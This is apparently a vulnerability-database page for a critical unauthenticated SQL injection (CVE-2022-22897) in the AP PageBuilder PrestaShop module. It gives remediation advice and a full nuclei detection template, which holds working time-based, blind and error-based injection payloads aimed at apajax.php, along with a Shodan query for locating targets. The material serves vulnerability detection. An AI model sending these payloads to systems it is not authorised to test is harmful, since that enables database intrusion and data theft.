Browse / CVEs / CVE-2022-22897
CVE-2022-22897· apollotheme / ap pagebuilder· CWE-89
PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
criticalseverity
9.8CVSS score
13.7%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
Fix
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
How to confirm it
Send: GET /modules/appagebuilder/config.xml ; @timeout: 20s ; POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}}
Positive when: duration_2>=6 and status_code_1 == 200 && compare_versions(version, "<= 2.4.4") OR duration_5>=6 and status_code_1 == 200 && compare_versions(version, "<= 2.4.4") OR status_code_1 == 200 && compare_versions(version, "<= 2.4.4") and contains(body_3, "content") && contains(body_3, "{{Hostname}}") and !contains(body_4, "content") && !contains(body_4, "{{Hostname}}")… OR status_code_1 == 200 && compare_versions(version, "<= 2.4.4") and contains(body_6, "You have an error in your SQL syntax")Run it with nuclei: nuclei -id CVE-2022-22897 -u <target>
The full check
id: CVE-2022-22897
info:
name: PrestaShop AP Pagebuilder <= 2.4.4 - SQL Injection
author: mastercho
severity: critical
description: |
A SQL injection vulnerability in the product_all_one_img and image_product parameters of the ApolloTheme AP PageBuilder component through 2.4.4 for PrestaShop allows unauthenticated attackers to exfiltrate database data.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
remediation: |
Upgrade PrestaShop Ap Pagebuilder to version 2.4.5 or later to mitigate this vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-22897
cwe-id: CWE-89
epss-score: 0.1365
epss-percentile: 0.96514
cpe: cpe:2.3:a:apollotheme:ap_pagebuilder:*:*:*:*:*:prestashop:*:*
metadata:
verified: true
max-request: 4
vendor: apollotheme
product: ap_pagebuilder
framework: prestashop
shodan-query: http.component:"prestashop"
tags: time-based-sqli,cve,cve2022,packetstorm,prestashop,sqli,unauth,apollotheme,vkev,vuln
http:
- raw:
- |
GET /modules/appagebuilder/config.xml HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 20s
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&product_one_img=if(now()=sysdate()%2Csleep(6)%2C0)
- |
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6644=6644-- yMwI
- |
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&product_one_img=-{{rand_int(0000, 9999)}}) OR 6643=6644-- yMwI
- |
@timeout: 20s
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)
- |
POST /modules/appagebuilder/apajax.php?rand={{rand_int(0000000000000, 9999999999999)}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Referer: {{RootURL}}
X-Requested-With: XMLHttpRequest
leoajax=1&pro_add=-{{rand_int(0000, 9999)}})
matchers-condition: or
matchers:
- type: dsl
name: time-based
dsl:
- 'duration_2>=6'
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
condition: and
- type: dsl
name: time-based
dsl:
- 'duration_5>=6'
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
condition: and
- type: dsl
name: blind-based
dsl:
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
- 'contains(body_3, "content") && contains(body_3, "{{Hostname}}")'
- '!contains(body_4, "content") && !contains(body_4, "{{Hostname}}")'
- 'len(body_3) > 200 && len(body_4) <= 22'
condition: and
- type: dsl
name: error-based
dsl:
- 'status_code_1 == 200 && compare_versions(version, "<= 2.4.4")'
- 'contains(body_6, "You have an error in your SQL syntax")'
condition: and
extractors:
- type: regex
name: version
part: body_1
internal: true
group: 1
regex:
- "<version>\\s*<!\\[CDATA\\[(.*?)\\]\\]>\\s*<\\/version>"References
- https://nvd.nist.gov/vuln/detail/CVE-2022-22897
- https://packetstormsecurity.com/files/cve/CVE-2022-22897
- https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html
Use this check only on systems you are authorised to test. Where the data comes from